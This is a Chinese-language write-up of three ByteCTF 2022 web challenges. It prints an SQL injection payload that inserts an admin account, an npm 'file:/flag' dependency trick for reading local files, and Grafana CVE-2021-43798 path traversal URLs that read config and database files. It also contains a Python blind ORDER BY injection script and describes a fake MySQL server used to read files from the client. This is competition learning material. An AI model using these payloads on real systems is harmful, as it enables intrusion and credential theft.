ByteCTF Web Writeup

前言

周末参加了ByteCTF2022,仅做出了3道题,题解如下。

总结自身不足:

需要用到前端利用时就不会了,XSS 和 CSRF 知识还需要补充

ctf_cloud

给了源码,可以直接审计

image-20220925172052443

route/user.js中仅有 59行处存在注入点,其他的SQL语句执行点都是进行了预编译

28行判断登录 admin 所需条件。根据改条件,在执行insert语句时可以插入多行数据,payload 如下

1
{"username":"aaa","password":"aaa',0),('admin','123',1),('aaa','aaa"}

接着看route/dashboard.js文件

image-20220925172724824

此处仅用到了两处路由,一个是往package.json中添加依赖,一个是根据package.json文件下载依赖

其中添加依赖请求内容如下,具体可以参考:package.json 中 npm 依赖包的写法 - 知乎 (zhihu.com)

1
{"dependencies":{"flag":"file:/flag"}}

然后再通过/dashboard/run将 flag 文件下载至node_modules

image-20220925173401857

根据其存放的位置是可以直接访问,下载即可获取flag

easy_grafana

根据题目描述和grafana版本判断应该是CVE-2021-43798任意文件读取的漏洞,但是实际利用时发现会存在 400,查看资料后发现这是由于nginx反代所造成的,可以利用/#/../方式进行绕过。

接着就可以任意读取文件

1
2
3
4
5
读取配置文件获取key
/public/plugins/alertlist/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/grafana/grafana.ini

读取数据存储文件
/public/plugins/alertlist/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/var/lib/grafana/grafana.db

然后使用工具对其数据存储文件进行解密获取flag

image-20220925174414874

datamanager

注册一个账号进行登录,后台中发现可以添加任意数据源,此处添加两个数据源

访问/dashboard路由时,发现存在order by注入,大概如下

image-20220925175300785

image-20220925175321881

根据这个回显顺序可以构造脚本,不过这里还有很多过滤,比如:括号只能用两层,不能使用单双引号、逗号等,这个可以直接Fuzz一下就知道了,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

burp0_cookies = {"JSESSIONID": "CD84B3E3012573EF0C38BE44519E2DCA"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
burp0_url = "https://ed6ca3367eadec9cb4273f621b92f7ae.2022.capturetheflag.fun/dashboard?order="

flag = ""
while True:
for i in "/0123456789:;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,.$@{|}~_":
payload = "case(1)when(select group_concat(TABLESPACE_NAME)from information_schema.TABLESPACES_EXTENSIONS)like 0x{}25 then host else id end".format((flag + i).encode("hex"))
# datamanager/source,datamanager/users,innodb_system, innodb_temporary, innodb_undo_001, in

# payload = "case(1)when(select group_concat(column_name)from information_schema.columns where table_name like 0x7573657273)like 0x{}25 then host else id end".format((flag + i).encode("hex"))
# user, current_connections, total_connections, id, n4me, pas$word

# payload = "case(1)when(select group_concat(pas$word)from users)like 0x{}25 then host else id end".format((flag + i).encode("hex"))
# ctf:ctf@BvteDaNceS3cRet

res = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies, proxies={"http": "127.0.0.1:8080"}).text
r1 = res.find("123")
r2 = res.find("111")
print burp0_url + payload
# print r1
# print r2
if r1 > r2:
flag += i
print flag
break
if i in "_":
print flag
exit()

然后使用ctf:ctf@BvteDaNceS3cRet进行登录,这时候就可以查看/connection路由

image-20220925180224707

根据该路由的功能,很自然的就想到利用fake mysql server读取任意文件,使用工具:https://github.com/fnmsd/MySQL_Fake_Server

不过该工具会出现字符集的问题,对其进行修改

image-20220925180522769

72行本来是接收客户端发过来的字符集编号,这里直接写死使用UTF-8就好了

然后就可以愉快的读取flag了

image-20220925180707229

最后有一个小疑问:这里plugin_dirsecure_file_priv的位置是一致的,但是我并不能通过into dumpfileso文件写入。如果有师傅知道的,请带带俺!!!

image-20220925183750575